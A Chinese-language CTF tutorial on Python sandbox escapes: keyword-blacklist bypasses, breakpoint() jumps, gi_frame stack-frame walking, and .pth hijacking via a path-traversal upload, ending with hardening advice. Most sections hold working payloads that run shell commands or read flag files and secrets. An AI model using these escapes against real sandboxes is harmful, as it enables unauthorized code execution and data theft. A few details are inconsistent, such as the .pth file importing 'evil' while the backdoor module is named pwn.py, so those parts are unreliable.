前言

Python 沙箱逃逸是 CTF 和真实渗透中的经典考点。题目通常提供一个受限的 Python 执行环境——禁用了 ossystemimport 等危险功能,或通过 proot/chroot 隔离文件系统。攻击者需要利用 Python 语言特性绕过这些限制,读取 flag 或执行命令。

本文从最基础的字符串绕过生成器栈帧逃逸再到 pth 文件劫持,系统地覆盖 Python 沙箱逃逸的完整知识体系。


一、传统逃逸——字符串与关键字绕过

1.1 os 关键字被 ban

如果黑名单禁止了字符串 os,核心思路是**让 os 这个字符串”变形”,执行时再”还原”**。

方法一:字符串反转

1
2
3
__import__('so'[::-1]).system('ls')
eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
exec(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])

方法二:字符串拼接

1
2
3
a = 'o'
b = 's'
__import__(a + b).system('ls')

方法三:全角字符

利用 Python 对 Unicode 的宽松处理,用全角字符替代半角字符,绕过基于 ASCII 的关键词匹配。

方法四:编码绕过(chr + 列表)

1
2
3
4
5
6
7
8
9
import timeit

# 每个数字是一个 ASCII 码: "import os; os.system('cat /flag.txt')"
s = [105, 109, 112, 111, 114, 116, 32, 111, 115, 59, 32, 111, 115,
46, 115, 121, 115, 116, 101, 109, 40, 39, 99, 97, 116, 32,
47, 102, 108, 97, 103, 46, 116, 120, 116, 39, 41]

cmd = ''.join(chr(i) for i in s)
timeit.timeit(cmd, number=1) # 执行字符串形式的代码

原理: timeit.timeit 第一个参数可以是一个可执行的代码字符串(不是 lambda),内部通过 exec() 执行。


1.2 模块/方法被 ban——import 关键字的替代

方法一:__import__ 内置函数

1
2
3
4
5
6
7
8
import math
print(math.sqrt(4))

# ↓ 等价于 ↓

module_name = "math"
math_module = __import__(module_name)
print(math_module.sqrt(4))

__import__import 关键字的底层实现,在 __builtins__ 中直接可用。

方法二:importlib.import_module

1
2
3
import importlib
module = importlib.import_module("math")
print(module.sqrt(4))

方法三:恢复 sys.modules

sys.modules 是一个字典,记录了所有已加载的模块。沙箱可能这么做:

1
2
3
sys.modules['os'] = 'not allowed'  # 污染 os 模块名
import os # 失败,拿到的是字符串
os.system('ls') # 报错

绕过:先删除缓存再导入

1
2
3
4
sys.modules['os'] = 'not allowed'  # 沙箱的限制
del sys.modules['os'] # 清除被污染的条目
import os # 重新导入 → 成功
os.system('ls')

更直接的方式——直接从缓存拿:

1
print(sys.modules['os'].environ['GZCTF_FLAG'])

如果 os 在沙箱启动前已经被导入过(大概率),sys.modules 里就有现成的,不需要重新 import

方法四:getattr__builtins__

当 SSTI 链式调用不可用时:

1
2
3
4
5
6
7
8
9
10
11
import os
getattr(os, 'metsys'[::-1])('whoami')

# 从 builtins 一路拿
getattr(
getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]),
'metsys'[::-1]
)('whoami')

# 等价于:
# getattr(getattr(__builtins__, '__import__')('os'), 'system')('whoami')

builtins vs __builtins__ 无本质区别,都是内建模块。builtins 是 Python 3 的标准写法,__builtins__ 是 Python 2 遗留的别名。

注意: __import__builtins 中的一个函数,不是 import 关键字。两者不同。

方法五:reload 重载

有些沙箱禁止 import site 但 site 模块中已经 import os 了。可以直接 reload:

1
2
3
4
import site
import importlib
importlib.reload(site)
print(site.os.system('ls'))

方法六:从 warnings 模块拿 __builtins__

与 SSTI 类似,warnings 模块内部引用了 __builtins__

1
2
import warnings
warnings.warn.__globals__['__builtins__']

二、程序终止的绕过——breakpoint() 调试器跳转

2.1 场景

沙箱代码结构:

1
2
3
4
def sandbox(user_code):
exec(user_code)
exit(0)
print(flag) # 永远不会执行!

用户代码先执行,然后 exit(0) 终止程序。print(flag)exit 后面,正常流程永远到不了。

2.2 breakpoint() 基础

breakpoint() 是 Python 3.7+ 内置的调试器入口。程序执行到 breakpoint() 时会进入 pdb(Python Debugger) 交互模式:

命令 功能
n (next) 执行下一行(不进入函数内部)
s (step) 进入函数内部
c (continue) 继续运行直到下一个断点
q (quit) 退出调试模式
p <变量> 打印变量值
j <行号> (jump) 跳转到指定行号(仅限同一函数内)

2.3 Python 3.14+ 新特性——commands 参数

Python 3.14 起,breakpoint() 支持 commands 参数,以编程方式传入 pdb 命令,无需人工交互:

1
2
3
4
5
# 自动执行:3 次 next → 跳过 exit 行 → 3 次 next → 打印 flag
breakpoint(commands=['n'] * 3 + ['j 20'] + ['n'] * 3 + ['p flag_content'])

# 等价写法
breakpoint(commands=['n', 'n', 'n', 'j 20', 'n', 'n', 'n', 'p flag_content'])

关键:j (jump) 命令

只能在同一个函数内部跳转。跳转目标必须是当前函数内有效的行号。通常的用法是跳过 exit(0) 那一行,让程序继续执行后面的 print(flag)

操作流程:

1
2
3
4
1. n × N  → 逐步执行,定位到 exit(0) 之前的行
2. j <行号> → 跳过 exit(0),跳到 exit 之后的代码行
3. n × N → 继续执行,到达 print(flag)
4. p flag_content → 打印 flag

三、栈帧逃逸——生成器 gi_frame 的核心利用

这是目前最强大的 Python 沙箱逃逸技术。核心思路:通过生成器的 gi_frame 属性拿到调用栈帧,然后沿着 f_back 链向上追溯,访问上级作用域中的变量。

3.1 生成器基础

生成器是一种特殊的迭代器,用 yield 关键字定义:

1
2
3
4
5
6
7
8
9
10
11
12
def f():
a = 1
while True:
yield a # 每次在此处暂停,返回 a 的值
a += 1

gen = f()
print(next(gen)) # 1 — 执行到 yield,返回 a=1,暂停
print(next(gen)) # 2 — 从上次暂停处继续,a+=1,再执行到 yield,返回 a=2
print(next(gen)) # 3

# next(gen) 等价于 gen.__next__()

生成器表达式是生成器函数的简写:

1
2
3
a = (i + 1 for i in range(100))
for value in a:
print(value)

嵌套生成器表达式:

1
2
3
4
5
f = (
value # 最终产出的值
for i in range(100) # 外层循环
for value in (i + 1, 2 + i * 2) # 内层循环:每次产出两个值
)

3.2 生成器的关键属性

属性 含义
gi_code 生成器对应的 code 对象
gi_frame 生成器对应的栈帧(frame)对象
gi_running 生成器是否正在执行(yield 暂停时为 0)
gi_yieldfrom 如果正从另一个生成器 yield 值,则为该生成器的引用
gi_frame.f_locals 当前帧的局部变量字典
gi_frame.f_globals 当前帧的全局变量字典
gi_frame.f_back 上一级栈帧(调用者)
gi_frame.f_code.co_name 当前帧的函数名
gi_frame.f_lineno 当前暂停的行号

gi_frame 是最关键的属性——它是一个 frame 对象,记录了生成器暂停时的执行位置、局部变量、指令指针、代码对象等核心数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def my_generator():
a = 10
yield a # 第一次暂停
b = 20
yield a + b # 第二次暂停
return "生成器结束"

gen = my_generator()
next(gen) # 执行到第一个 yield,生成器暂停

frame = gen.gi_frame
print(frame.f_code.co_name) # 'my_generator' — 函数名
print(frame.f_lineno) # 3 — 暂停的行号
print(frame.f_locals) # {'a': 10} — 当前局部变量
print(frame.f_globals.keys()) # 全局命名空间
print(frame.f_back) # 上一级栈帧(调用者)

3.3 逃逸原理——Payload 一(嵌套函数版)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
s3cret = "this is flag"

codes = '''
def waff():
def f():
yield g.gi_frame.f_back
g = f() # 创建生成器 —— f_back 绑定为 waff 的栈帧
frame = next(g) # 获取到 f() 的栈帧,其 f_back = waff 帧

print(frame.f_code.co_name) # f
print(frame.f_back.f_code.co_name) # waff
print(frame.f_back.f_back.f_code.co_name) # <listcomp> 或 <module>
print(frame.f_back.f_back.f_back.f_code.co_name) # <module>(全局)

b = frame.f_back.f_back.f_back.f_locals['s3cret'] # 拿上级的局部变量
# 或用 f_globals:
# b = frame.f_back.f_back.f_globals['s3cret']
return b

b = waff()
'''

locals = {}
code = compile(codes, "test", "exec")
exec(code, locals)
print(locals["b"]) # → "this is flag"

栈帧链分析(Payload 一):

1
2
3
4
f() 的 gi_frame          → Frame-f      (co_name='f')
.f_back → Frame-waff (co_name='waff') ← f_back 在创建生成器时绑定!
.f_back.f_back → Frame-<listcomp> 或 <module>
.f_back.f_back.f_back → Frame-<module>(全局作用域,flag 在这里)

关键细节——为什么 f_back 不是 <listcomp>

直觉上,[x for x in g] 触发了 next(g),那 <listcomp> 帧应该出现在 Frame-f 的上方。但事实并非如此。原因在于 f_back 是在创建生成器的那一刻绑定的,而不是在迭代时绑定

逐步还原 g = f() 这行代码执行瞬间发生的事:

1
2
3
4
5
6
7
8
9
10
11
Python 创建生成器 g = f() 的瞬间:
┌─────────────────────────────────────────┐
│ 1. 为 f() 创建栈帧 Frame-f │
│ (生成器处于暂停状态,内部代码未执行) │
│ 2. Frame-f.f_back = 当前执行上下文 │
│ → 此时正在执行 waff() 的函数体 │
│ → 所以 f_back = Frame-waff │
│ 3. 生成器对象 g 创建完成 │
│ g.gi_frame → Frame-f │
│ g.gi_frame.f_back → Frame-waff (已固定)│
└─────────────────────────────────────────┘

然后执行 frame = [x for x in g][0] 时:

1
2
3
4
5
6
7
8
9
10
列表推导式触发 next(g) 的瞬间:
┌─────────────────────────────────────────┐
│ 1. <listcomp> 创建自己的栈帧 │
│ 2. 调用 g.__next__() → Frame-f 开始执行 │
│ 3. Frame-f.f_back 仍然是 Frame-waff! │
│ (创建时已绑定,迭代操作不改变它) │
│ 4. <listcomp> 帧被压在 Frame-waff 之上 │
│ 即:Frame-waff.f_back = <listcomp> │
│ 5. 但 Frame-f 的 f_back 链完全不受影响 │
└─────────────────────────────────────────┘

一句话总结: <listcomp> 压在了 Frame-waff 上面(成为 waff 的 f_back),但 Frame-f 的 f_back 仍然是 Frame-waff。因为 <listcomp> 调用的是 g.__next__()(触发 f 执行),而不是直接调用 f() 帧和 Frame-f 帧之间没有直接的父子调用关系——它们只有通过 Frame-waff 的间接关系。

这就是 Payload 一需要 f_back × 3 才能到全局的原因:f → waff → <listcomp> → <module>(或 f → waff → <module>,取决于 <listcomp> 是否在全局直接调用)。

3.4 逃逸原理——Payload 二(直接版,L3HCTF 2024)

这道题出自 L3HCTF 2024,核心思路和 Payload 一相同,但生成器在模块级创建,导致 f_back 链完全不同。

原始 payload:

1
2
3
4
5
6
7
def fake_int(i):
return 100001 * 100002

a = (a.gi_frame.f_back.f_back for i in [1])
a = [x for x in a][0]
builtin = a.f_back.f_back.f_globals["_" * 2 + "builtins" + "_" * 2]
builtin.int = fake_int

展开后的等价代码(方便理解各阶段 a 的类型变化):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def fake_int(i):
return 100001 * 100002

def my_generator():
for i in [1]:
print("生成器内的 a 类型:", type(a)) # <class 'generator'>
print("生成器内的 a:", a)
yield a.gi_frame.f_back.f_back # 阶段1:a 是生成器对象

a = my_generator()
print("实例化后 a 的类型:", type(a)) # <class 'generator'>
# 阶段2:a 被覆盖为栈帧对象
a = [x for x in a][0]
print("遍历后 a 的类型:", type(a)) # <class 'frame'>

# 后续利用
builtin = a.f_back.f_back.f_globals["__builtins__"]
builtin.int = fake_int

# 验证:int 已被替换
print(int(123)) # 输出: 100001 × 100002 的结果

关键:变量 a 的类型在运行过程中变化了三次:

阶段 a 的值 type(a) 说明
创建生成器时 生成器对象 <class 'generator'> a = my_generator()
生成器内部执行时 生成器对象(自身引用) <class 'generator'> yield 时 a 还是生成器,所以 a.gi_frame 指向自身
遍历完成后 栈帧对象 <class 'frame'> a = [x for x in a][0] 覆盖了 a

这里 a.gi_frame 取的是生成器自身的帧my_generator),因为 yield 那一刻 a 还是指向这个生成器对象。

栈帧链分析(Payload 二):

1
2
3
4
5
a.gi_frame                  → Frame-gen (my_generator)
.f_back → Frame-<module> (主程序,创建生成器时的上下文)
.f_back.f_back → Frame-<listcomp> (列表推导式,触发 next(g) 的上下文)
.f_back.f_back.f_back → Frame-exec
.f_back.f_back.f_back.f_back → Frame-<module> (最外层全局)

逐步还原 Payload 二的 f_back 绑定过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
创建生成器 a = my_generator() 的瞬间:
┌─────────────────────────────────────────┐
│ 1. 为 my_generator() 创建 Frame-gen │
│ 2. Frame-gen.f_back = 当前执行上下文 │
│ → 当前在模块级(<module>)执行 │
│ → 所以 f_back = Frame-<module> │
│ 3. 生成器对象 a 创建完成 │
│ a.gi_frame → Frame-gen │
│ a.gi_frame.f_back → Frame-<module> │
└─────────────────────────────────────────┘

触发 a = [x for x in a][0] 的瞬间:
┌─────────────────────────────────────────┐
│ 1. <listcomp> 创建 Frame-listcomp │
│ 2. 调用 a.__next__(),Frame-gen 开始执行 │
│ 3. Frame-gen.f_back 仍然是 Frame-<module>│
│ (创建时已绑定,不会变) │
│ 4. Frame-listcomp 压在 Frame-<module> 上 │
│ 即:Frame-<module>.f_back = listcomp │
│ 5. 因此 a.gi_frame.f_back.f_back │
│ = Frame-<module>.f_back │
│ = Frame-listcomp ← 就是这个! │
└─────────────────────────────────────────┘

注意: 此时 Frame-<module>f_back临时替换Frame-listcomp(因为列表推导式是触发执行的上下文)。这就是为什么 a.gi_frame.f_back.f_back 拿到的是 <listcomp> 而不是 exec

为什么 Payload 一和 Payload 二的 f_back 链不同?

根本原因:生成器在哪里被创建,f_back 就在哪里绑定。 生成器的 f_back 链是一个”快照”——在 生成器 = 生成器函数() 执行的那一刻拍下来的,之后无论谁调用 next() 都不会改变。

Payload 一(嵌套版) Payload 二(模块级版)
结构 waff() 内部嵌套 f(),有中间函数层 my_generator() 直接在模块级定义和调用
生成器创建时 g = f()waff() 内部 → f_back = waff 帧 a = my_generator()模块级 → f_back = 主模块帧
next 触发时 <listcomp> 压在 waff 帧之上 <listcomp> 压在主模块帧之上
listcomp 能插入生成器和它的 f_back 之间吗? 不能。 f → waff 在创建时已定型,<listcomp> 只能压在 waff 上面,无法插到 f 和 waff 之间 不能。 gen → <module> 已定型,<listcomp> 压在 <module> 上面
拿 flag 需要 f_back × 3 或 × 4 f_back × 1(模块级变量)或 f_back × 4(exec 内变量)

Payload 一的关键在于嵌套关系 waff → f 在创建生成器 g = f() 时,栈帧关系 f → waff 就已经确定了。后面的 <listcomp> 无论怎么操作,都只能出现在 waff 的上面,永远插不到 fwaff 之间。这个嵌套结构是一道”防火墙”,把 listcomp 挡在了外面。

Payload 二没有嵌套: my_generator 直接在模块级创建,f_back = <module>。listcomp 压在 <module> 上面后,gen.f_back.f_back 刚好命中 listcomp。结构更扁平,但链更长。

核心总结:生成器的 f_back 链取决于”生成器在哪里被创建”,而不是”生成器在哪里被迭代”。

3.5 next 被 ban 时的绕过

1
2
a = f()                        # 生成器已创建
a = [x for x in a][0] # 等效于 next(a),通过列表推导式遍历

原理:

1
2
3
4
5
6
7
8
9
# [x for x in a][0] 等价于:
temp = []
while True:
try:
x = next(a) # 列表推导式内部调的
temp.append(x)
except StopIteration:
break
frame = temp[0] # 取第一个 yield 返回的值

3.6 精简版 Payload

1
{}[[*((l:=[]).append(i.gi_frame.f_back.f_back.f_builtins['open']('/flag').read() for i in l) or l[0])][0]]

逐层拆解:

1
2
3
4
5
6
7
8
9
10
11
12
{}[ ... ][0]
│ └── 计算 [] 内表达式,作为字典的键
└── 空字典,[] 访问触发表达式计算

[* ... ][0]
│ └── 取列表第一个元素
└── 创建列表(* 展开)

((l:=[]).append(生成器表达式) or l[0])
│ │ └── 如果 append 后的列表非空,取 l[0]
│ └── 向 l 中添加生成器对象
└── 海象表达式:l = [](同时赋值并返回 l)

执行流程:

  1. l := [] → 创建空列表 l,返回 l
  2. .append(...) → 创建一个生成器放入 l.append() 返回 None
  3. None or l[0]None 为假,短路到 l[0],即刚刚添加的生成器
  4. [*..., l[0]] → 列表只有一个元素(生成器)
  5. ...[0] → 取出生成器
  6. 生成器执行:i.gi_frame.f_back.f_back.f_builtins['open']('/flag').read() → 读 flag

四、pth 文件劫持——突破文件系统隔离

4.1 场景

沙箱使用 proot 进行文件系统隔离,但 site-packages 目录没有被隔离(仍指向宿主机真实目录)。

launcher.py(沙箱启动器):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def run_sandbox(script_name):
print("Launching sandbox...")
cmd = [
'proot',
'-r', './jail_root', # 沙箱根目录(隔离)
'-b', '/bin', # 映射真实 /bin
'-b', '/usr', # 映射真实 /usr ← 包含 site-packages!
'-b', '/lib',
'-b', '/lib64',
'-b', '/etc/alternatives',
'-b', '/dev/null',
'-b', '/dev/zero',
'-b', '/dev/urandom',
'-b', f'{script_name}:/app/run.py', # 用户代码映射
'-w', '/app',
'python3', 'run.py'
]
subprocess.call(cmd)
print("ok")

if __name__ == "__main__":
script = sys.argv[1]
run_sandbox(script)

server.py(后端):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import os
import sys
import subprocess
from flask import Flask, request, render_template, jsonify

app = Flask(__name__)

BASE_DIR = os.path.dirname(os.path.abspath(__file__))
UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')

if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)


@app.route('/')
def index():
return render_template("index.html")


@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return 'No file part', 400

file = request.files['file']
filename = request.form.get('filename') or file.filename
save_path = os.path.join(UPLOAD_FOLDER, filename)

save_dir = os.path.dirname(save_path)
if not os.path.exists(save_dir):
try:
os.makedirs(save_dir)
except OSError:
pass

try:
file.save(save_path)
return f'成功上传至: {save_path}'
except Exception as e:
return f'上传失败: {str(e)}', 500


@app.route('/run', methods=['POST'])
def run_code():
data = request.get_json()
filename = data.get('filename')
target_file = os.path.join('/app/uploads', filename)
launcher_path = os.path.join(BASE_DIR, 'launcher.py')

try:
proc = subprocess.run(
[sys.executable, launcher_path, target_file],
capture_output=True,
text=True,
timeout=5,
cwd=BASE_DIR
)
return jsonify({"output": proc.stdout + proc.stderr})
except subprocess.TimeoutExpired:
return jsonify({"output": "Timeout"})


if __name__ == '__main__':
import site
print(f"[*] Server started.")
print(f"[*] Upload Folder: {UPLOAD_FOLDER}")
print(f"[*] Target site-packages: {site.getsitepackages()[0]}")
app.run(host='0.0.0.0', port=5000)

4.2 漏洞分析

目录 是否隔离
/app (用户代码) 隔离到 ./jail_root
/bin, /usr, /lib 不隔离,映射真实目录
/flag 未映射,沙箱内不可见

关键发现:

  • flag 在宿主机根目录 /flag
  • /flag 没有被 -b 映射到沙箱内
  • /usr/lib/python3.10/site-packages/ 指向真实系统目录,读写都会落在宿主机上

4.3 攻击流程

Step 1:上传一个包含后门的 .pth 文件

文件名:/usr/lib/python3.10/site-packages/evil.pth

内容:

1
import evil

为什么不直接把后门代码写在 .pth 里?

Python 启动流程:

1
2
3
4
5
1. Python 启动
2. 加载基础模块
3. 执行 .pth 文件 ← 此时 stdout 可能还没准备好!
4. 初始化标准输出
5. 用户代码运行

在阶段 3 执行 print/open 可能会因 stdout 未初始化而异常。所以用一个 import evil延迟执行——等 Python 完全初始化后,evil.py 的导入自然就完成了。

Step 2:上传后门模块 pwn.py

路径:/usr/lib/python3.10/site-packages/pwn.py

1
2
3
4
5
6
import os

try:
print(open('/flag').read())
except:
pass

Step 3:触发

用户提交执行任意 Python 文件,Python 启动时自动加载 evil.pthimport evil → 后门执行 → 读取宿主机 /flag

4.4 .pth 执行机制回顾

Python 启动时,site.py 会遍历 site-packages 目录下所有 .pth 文件:

行类型 行为
# 开头 忽略(注释)
import 开头 exec() 执行
其他 当作路径加入 sys.path

五、好用的 Payload 合集

5.1 flag 在全局变量

方法一:直接拿 globals

1
2
g = [globals][0]()
print(g['flag_content'])

注意:第一个 globals 是全角字符,可能用于绕过关键字检测。

方法二:通过 __main__ 模块

1
2
import __main__
print(__main__.flag_content)

沙箱代码如果是在模块级别 exec 的,变量会落在 __main__ 的命名空间。

方法三:线程栈帧遍历

1
2
3
4
5
6
7
8
9
10
11
12
13
import sys
import threading

for thread in threading.enumerate():
if thread.name == 'MainThread':
frame = sys._current_frames().get(thread.ident)
if frame:
while frame:
if 'flag_content' in frame.f_locals:
print(frame.f_locals['flag_content'])
if 'flag_content' in frame.f_globals:
print(frame.f_globals['flag_content'])
frame = frame.f_back

原理: sys._current_frames() 返回所有线程的当前栈帧。遍历主线程的所有栈帧,逐个检查局部和全局变量空间。

5.2 flag 在环境变量

1
2
3
4
5
6
import os
print(os.environ['FLAG'])

# 或通过 sys.modules
import sys
print(sys.modules['os'].environ['GZCTF_FLAG'])

5.3 flag 在文件——绕过 open/read 被 ban

方法一:pathlib.Path.read_text()

1
2
from pathlib import Path
print(Path('/flag.txt').read_text())

pathlib 是标准库,它的文件操作不经过 open() 的钩子。

方法二:urllib + file:// 协议

1
2
3
4
5
6
import urllib.request

path = 'fla' + 'g.txt' # 拼接绕过关键词检测
response = urllib.request.urlopen('file:///' + path)
text = ''.join([line.decode() for line in response])
print(text)

方法三:linecache 按行读取

1
2
3
4
5
6
7
8
9
import linecache

target = '/flag' + '.txt'

print("Reading via linecache:")
for i in range(1, 5):
line = linecache.getline(target, i)
if line:
print(line.strip())

linecache.getline 内部虽然会调用 open,但它在 C 层面实现,有时能绕过 Python 层面的 hook。

方法四:从 linecache 反向拿 __builtins__ 中的 open

1
2
3
4
5
6
7
8
9
10
11
12
import linecache

# linecache 的 `__globals__` 里有 `__builtins__`
gb = (linecache.getline,)[0].__globals__
bi = gb['__built' + 'ins__']
bi_d = bi.__dict__ if hasattr(bi, '__dict__') else bi

op = bi_d['o' + 'pe' + 'n']

f = op(target)
for line in f:
print(line.strip())

思路: 先 import 一个”无害”的模块(linecache),然后沿着它的 __globals__ 链拿到 __builtins__,再从 __builtins__ 中取出真正的 open 函数。


六、防御与总结

6.1 沙箱逃逸的核心武器

技术 核心思想 适用场景
字符串变形 绕过关键字黑名单 轻度沙箱
sys.modules 恢复 利用缓存绕过模块禁用 import 被 ban
breakpoint() 跳转 跳过 exit/return 语句 Python 3.14+
生成器 gi_frame 沿栈帧链访问上级作用域 中高度沙箱
pth 文件劫持 利用文件系统隔离不完整 proot/chroot 场景

6.2 加固建议

  • 不要用黑名单做沙箱——用白名单或真正的 OS 级隔离(Docker + seccomp)
  • 清理 sys.modules ——不仅是禁用,要彻底删除危险模块
  • exec(code, {'__builtins__': safe_builtins}) ——传入受限的全局命名空间
  • 禁用 sys._current_frames() ——阻止栈帧遍历
  • 设置 Python 启动参数 —— python -S 禁用 site-packages 自动加载,python -I 隔离模式
  • 监控 site-packages 写入 —— 对 .pth 文件的创建配置告警

参考